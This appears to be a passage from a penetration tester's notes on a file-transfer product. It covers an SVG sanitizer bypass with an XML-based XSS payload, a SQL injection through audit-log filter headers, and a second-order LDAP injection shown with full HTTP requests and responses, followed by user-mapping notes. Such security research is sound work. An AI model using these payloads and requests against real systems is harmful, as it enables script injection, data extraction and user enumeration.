function only sanitizes if there is svg
tag:
public void Sanitize(Stream imgStream)
{
string text = new StreamReader(imgStream).ReadToEnd();
if (Regex.Match(text, "<svg.*?</svg", RegexOptions.IgnoreCase | RegexOptions.Singleline).Length > 0)
{
string text2 = sanitizer.Sanitize(text);
imgStream.Position = 0L;
imgStream.SetLength(text2.Length);
StreamWriter streamWriter = new StreamWriter(imgStream);
streamWriter.Write(text2);
streamWriter.Flush();
imgStream.Position = 0L;
}
}
Additionally, the response Content-Type
is application/svg+xml
. So, use the payload that does not have svg
and is a XML document: PayloadsAllTheThings/XSS Injection/Files/xss.xml at master ยท swisskyrepo/PayloadsAllTheThings:
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(2)</a:script>
<info>
<name>
<value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
<description>
<value>Hello</value>
</description>
<url>
<value>http://google.com</value>
</url>
</info>
</body>
</html>
Request:
Result:
Moreover, we can just use the something:script
and a:script
tags.
SQL Injection
Via the find function of the audit log. Specifically, via the find
and findB64
headers of the audit log.
The vulnerable code is in a procedure named vaultAuditLogSelectAllByQuery
:
IF @filter IS NOT NULL AND @filter <> ''
BEGIN
SET @sqlString = @sqlString + @filter
END
Query functions/store procedures that have string concatenation:
SELECT o.name AS ObjectName,
o.type_desc AS ObjectType,
m.definition AS ObjectDefinition
FROM sys.sql_modules AS m
JOIN sys.objects AS o
ON m.object_id = o.object_id
WHERE m.definition LIKE '%+%' -- Look for concatenation operator
AND o.type IN ('P', 'FN', 'IF', 'TF') -- P: Stored Procedure, FN: Scalar Function, IF: Inline Table Function, TF: Table Function
ORDER BY o.type_desc, o.name;
Info
There is potential SQL injection in a feature named
ScanResultFromCore
.
LDAP Injection
As we know from the Source Code, the _attributeName
of the LDAP query is not sanitized. So, we can influence the query by using other operators such as >=
and <=
.
There is a way to influence the query is via the supervisor filter feature:
public ILdapFilterCondition GetUsersByCustomConditionFilter(string rawCustomCondition)
{
List<ILdapFilterCondition> list = new List<ILdapFilterCondition>
{
new LdapFilterCondition(LdapCompareOperator.Equal, "objectClass", base.DirectoryPropertyNames.UserObjectClass ?? "")
};
if (!string.IsNullOrWhiteSpace(rawCustomCondition))
{
string[] array = rawCustomCondition.Split("=", 2);
list.Add(new LdapFilterCondition(LdapCompareOperator.Equal, array[0], array[1]));
}
return new LdapCompoundFilterCondition(LdapCombineOperator.And, list);
}
Request:
POST /vault_rest/supervisor/container?type=draft HTTP/1.1
Host: localhost:8010
Content-Length: 287
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: http://localhost:8010
Referer: http://localhost:8010/supervisor/settings/global-supervisors
Cookie: globals=eyJjdXJyZW50VXNlciI6eyJhdXRoIjp7ImV4cGlyZXMiOiJUdWUsIDE3IERlYyAyMDI0IDA4OjU3OjIxIEdNVCIsInRva2VuIjoiMFZURThEUUJwWFZuVTJzYjdMUFk2emJEMjQ5NklnIn19fQ==
Connection: keep-alive
Authorization: Bearer wKuhQIBEmg2FcXL2dMYjdmvNcVeoFa
{
"supervisors": [],
"supervisor_groups": [],
"container_id": "00000000000000000000000000000000",
"display_name": null,
"distinguished_name": null,
"name": null,
"filter": "telephoneNumber>=0100000000",
"parent_container_id": "00000000000000000000000000000000",
"is_excluded_from_supervision_flow": false
}
This is a second-order LDAP injection because we need to make another request to retrieve additional data:
GET /vault_rest/supervisor/container/00000000000000000000000000000000?type=draft HTTP/1.1
Host: localhost:8010
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: application/json, text/plain, */*
Referer: http://localhost:8010/supervisor/settings/approval
Cookie: globals=eyJjdXJyZW50VXNlciI6eyJhdXRoIjp7ImV4cGlyZXMiOiJUdWUsIDE3IERlYyAyMDI0IDA5OjA0OjU4IEdNVCIsInRva2VuIjoiMFZURThEUUJwWFZuVTJzYjdMUFk2emJEMjQ5NklnIn19fQ==
Connection: keep-alive
Authorization: Bearer wKuhQIBEmg2FcXL2dMYjdmvNcVeoFa
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 17 Dec 2024 09:10:06 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
Content-Security-Policy: frame-ancestors none;
X-Frame-Options: DENY
Cache-Control: max-age=60, must-revalidate
Content-Length: 553
{
"message": null,
"ui_message_key": null,
"container_id": "00000000000000000000000000000000",
"display_name": null,
"distinguished_name": null,
"filter": "telephoneNumber>=0100000000",
"is_excluded_from_supervision_flow": false,
"name": null,
"parent_container_id": "00000000000000000000000000000000",
"supervisor_groups": [],
"supervisors": [
{
"active_directory": null,
"id": 18,
"user_name": "Administrator",
"container_level": 0
},
{
"active_directory": null,
"id": 17,
"user_name": "pentest",
"container_level": 0
},
{
"active_directory": null,
"id": 14,
"user_name": "bob",
"container_level": 0
}
]
}
The supervisors
array contains users with non-empty telephone number.
User Mapping
Important
The User Mapping must be set up on the destination MFT.
The priority is in order:
- If a user
A
on the source MFT has duplicated username with a userA'
on the destination MFT, the file will be placed into the folder of the userA'
. - In case of there is a mapping for user
A
on the destination MFT to userB
, the file will be uploaded to the folder of the userB
. - Else, the file will be placed into the folder of the user that created the API key.
Additionally, the uploaded files will be shared to the administrator user that creates the upload user.
Differences between user-level API key and system-level API key: API Keys - MetaDefender Managed File Transfer.